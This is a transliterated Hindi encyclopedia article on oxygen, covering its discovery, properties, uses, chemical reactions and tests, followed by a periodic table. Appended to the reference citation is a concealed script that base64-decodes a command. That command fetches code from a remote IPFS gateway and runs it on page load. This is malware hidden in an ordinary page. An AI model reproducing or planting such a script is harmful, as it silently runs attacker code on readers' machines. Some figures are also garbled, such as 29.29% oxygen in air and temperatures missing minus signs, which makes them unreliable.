ऑक्सीजन
- REDIRECTsaancha:Infobox element
aauksijan (aangrezi:Oxygen) avart sarani ka athavaan tatv hai. aauksijan rangahin, svadahin tatha gandharahit gais hai. aauksijan ka pratik chihn O tatha ilektr aaunik vinyas 1s2, 2s2, 2p4 hota hai. aauksijan ko avart sarani ke upavarg 6 A mean rakha gaya hai. aauksijan ka hindi nam 'jarak' hai aur chihn ja hai.
khoj
aauksijan gais ki khoj sarvapratham svidan ke shile namak vaijnanik ne 1772 mean ki thi. aauksijan ki khoj, prapti athava praranbhik adhyayan mean je. pristale aur si.dablyoo. shele ne mahattvapoorn kary kiya hai.[1]
prapti
aauksijan prithvi ke anek padarthoan mean rahata hai aur vastav mean any tatvoan ki tulana mean isaki matra sabase adhik hai. aauksijan vayumandal mean svatantr roop mean milata hai aur ayatan ke anusar usaka lagabhag paanchavaan bhag hai. yaugik roop mean pani, khanij tatha chattanoan ka yah mahattvapoorn aansh hai. vanaspati tatha praniyoan ke pray: sab sharirik padarthoan ka aauksijan ek avashyak tatv hai. vayu mean qarib 29.29% matra aauksijan ki hoti hai. chaandi ko garm karane par yah aauksijan ko avashoshit kar leti hai tatha thanda karane par avashoshit aauksijan nikal jati hai. ise chaandi ka udavaman kahate haian.[1]
bhautik gun
- drav aauksijan halke nile rang ka hota hai.[1]
- aauksijan ek rangahin, gandhahin gais hai jo vayu se kuchh bhari hoti hai.
- thanda karane par aauksijan nile rang ke drav mean parivartit ho jati hai.
- aauksijan gais svayan nahian jalati hai, parantu jalane mean sahayak hoti hai.
- aauksijan ki prakriti anuchumbakiy hai.
- aauksijan ka ghanattv 1.4290 gram prati litar hai (0° seantigred, 750 milimitar dab par) aur vayu ki apeksha yah gais 1.10527 guna bhari hai.[1]
- aauksijan ka vishisht tap (sthir dab par) 15° seantigred hai tatha sthir ayatan ke vishisht tap se isaka anupat 1.401 hai.[1]
- aauksijan ke dravikaran mean visheshajnoan ko vishesh kathinaee huee thi, kyoanki isaka kraantik (kritikal) tap 118.8° seantigred, dab 49.7 vayumandal tatha ghanattv 0.430 gram/seantimitar3 hai.[1]
- aauksijan ka kvathanaank 183° seantigred tatha thos aauksijan ka dravanaank 218.4° seantigred hai. 15° seantigred par sanlagn tatha vashpayan ooshmaean kramanusar 3.30 tatha 50.9 kailori prati gram hai.[1]
- aauksijan pani mean tho da ghulanashil hai, jo jaliy praniyoan ke shvasan ke lie upayogi hai. kuchh dhatuean jaise- pighali huee chaandi athava doosari vastuean jaise- koyala aauksijan ka shoshan b di matra mean kar leti haian.[1]
upayog
- aauksijan ko kritrim shvasan ke roop mean prayog karate haian tatha ise pran vayu kahate haian.
- jivit praniyoan ke lie aauksijan ati avashyak hai. ise ve shvasan dvara grahan karate haian.
- drav aauksijan tatha karban, petroliyam, ityadi ka mishran ati visphotak hai. isalie inaka upayog k di vastuoan (chattan ityadi) ke to dane mean hota hai.
- lohe ki moti chaddar katane athava mashin ke toote bhagoan ko jo dane ke lie aauksijan tatha dahanashil gais ko phuankani se jalaya jata hai. is prakar utpann jvala ka tap bahut adhik hota hai.
- sadharan aauksijan ke sath haidrojan ya aisitilin jalaee jati hai. isake lie ye gaisean ispat ke belanoan mean ati sanpidit avastha mean bikati haian.
- aauksijan siraka, varnish ityadi banane tatha asadhy rogiyoan ke saans lene ke lie bhi upayogi hai.
- aauksijan dhatuoan ko jo dane tatha klorin, salfyoorik aml adi ke audyogik nirman mean prayog ki jati hai.[1]
rasayanik gun
aauksaid aur daiaauksaid
- kee prakar ke aauksaidoan (jaise para, chaandi ityadi ke) athava daiaauksaidoan (led, maianganij, beriyam ke) tatha aauksijan vale bahut se lavanoan (jaise potaishiyam naitret, kloret, paramaianganet tatha daikromet) ko garam karane se aauksijan prapt ho sakata hai. jab kuchh par aauksaid pani ke sath prakriya karate haian tab bhi aauksijan utpann hota hai. at: sodiyam par aauksaid tatha maianganiz daiaauksaid ya choone ke kloraid ka choornit mishran (athava isi prakar ke any mishran bhi) aauksijan utpadan ke lie prayukt hote haian.[1]
- haipokloraid athava haipobromait (jaise blichiang paudar) ke vighatan se ya gandhak ke aml tatha maianganij daiaauksaid ya potaishiyam paramaianganet ki kriya se bhi aauksijan milata hai. gaiso ki tho di matra taiyar karane ke lie haidrojan par aauksaid akele athava utprerak ke sath adhik upayukt hai.[1]
- jab beriyam aauksaid ko tapt kiya jata hai (lagabhag 500° seantigred tak) tab vah hava se aauksijan lekar par aauksaid banata hai. adhik tapakram (lagabhag 800° seantigred) par isake vighatan se aauksijan prapt hota hai tatha pun: upayog ke lie beriyam aauksaid bacha rahata hai. audyogik utpadan ke lie brin vidhi isi kriya par adharit thi.[1]
- aauksijan prapt karane ke vichar se kuchh any aauksaid bhi (jaise taanba, para adi ke aauksaid) isi prakar upayogi haian. hava se aauksijan alag karane ke lie ab drav hava ka atyadhik upayog hota hai, jisake prabhajit asavan se aauksijan prapt kiya jata hai, pani ke vidyutshleshan (ilektr aaulisis) se haidrojan ke utpadan mean aauksijan bhi upajat (baipr aaudakt) ke roop mean milata hai.[1]
- bahut se tatv aauksijan se sidha sanyog karate haian. inamean kuchh (jaise ph aausphoras, sodiyam ityadi) to sadharan tap par hi dhire-dhire kriya karate haian, parantu adhikatar, jaise karban, gandhak, loha, maignishiyam ityadi, garam karane par. aauksijan se bhare bartan mean ye vastuean dahakati huee avastha mean dalate hi jal uthati haian aur jalane se aauksaid banata hai. aauksijan mean haidrojan gais jalati hai tatha pani banata hai. yah kriya in donoan ke gaisiy mishran mean vidyut chinagari se athava utprerak ki upasthiti mean bhi hoti hai.[1]
yaugikoan ke sath kriya
aauksijan bahut se yaugikoan se bhi kriya karata hai. naitrik aauksaid, pheras tatha maianganas haidr aauksaid ka aauksikaran sadharan tap par hi hota hai. haidrojan phasphaid, silikan haidraid tatha jiank ithail se to kriya mean itana tap utpann hota hai ki sanpoorn vastuean hi prajvalit ho uthati haian. loha, nikal ityadi mahin roop mean rahane par aur led salfaid tatha karban kloraid soory ke prakash mean kriya karate haian. in kriyaoan mean pani ki upasthiti chahe yah sookshm matra mean hi kyoan n rahe, bahut mahattvapoorn hai.[1]
aauksijan ki pahachan
dahakate hue tinake ke prajvalit hone se aauksijan ki pahachan hoti hai (naitras aauksaid se isako bhinnata naitrik aauksaid ke upayog se jani ja sakati hai). aauksijan ki matra kyoopras kloraid, kshariy payarogailol ke ghol, taanba athava isi prakar ki doosari upayukt vastuoan dvara shoshit karane se jnat ki jati hai.[1]
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ 1.00 1.01 1.02 1.03 1.04 1.05 1.06 1.07 1.08 1.09 1.10 1.11 1.12 1.13 1.14 1.15 “khand 1”, hindi vishvakosh, 1973 (hindi), bharatadiskavari pustakalay: nagari pracharini sabha varanasi, 344-345.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
| avart sarani | |||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| H | He | ||||||||||||||||||||||||||||||||||||||||
| Li | Be | B | C | N | O | F | Ne | ||||||||||||||||||||||||||||||||||
| Na | Mg | Al | Si | P | S | Cl | Ar | ||||||||||||||||||||||||||||||||||
| K | Ca | Sc | Ti | V | Cr | Mn | Fe | Co | Ni | Cu | Zn | Ga | Ge | As | Se | Br | Kr | ||||||||||||||||||||||||
| Rb | Sr | Y | Zr | Nb | Mo | Tc | Ru | Rh | Pd | Ag | Cd | In | Sn | Sb | Te | I | Xe | ||||||||||||||||||||||||
| Cs | Ba | La | Ce | Pr | Nd | Pm | Sm | Eu | Gd | Tb | Dy | Ho | Er | Tm | Yb | Lu | Hf | Ta | W | Re | Os | Ir | Pt | Au | Hg | Tl | Pb | Bi | Po | At | Rn | ||||||||||
| Fr | Ra | Ac | Th | Pa | U | Np | Pu | Am | Cm | Bk | Cf | Es | Fm | Md | No | Lr | Rf | Db | Sg | Bh | Hs | Mt | Ds | Rg | Cn | Uut | Uuq | Uup | Lv | Uus | Uuo | ||||||||||
| |||||||||||||||||||||||||||||||||||||||||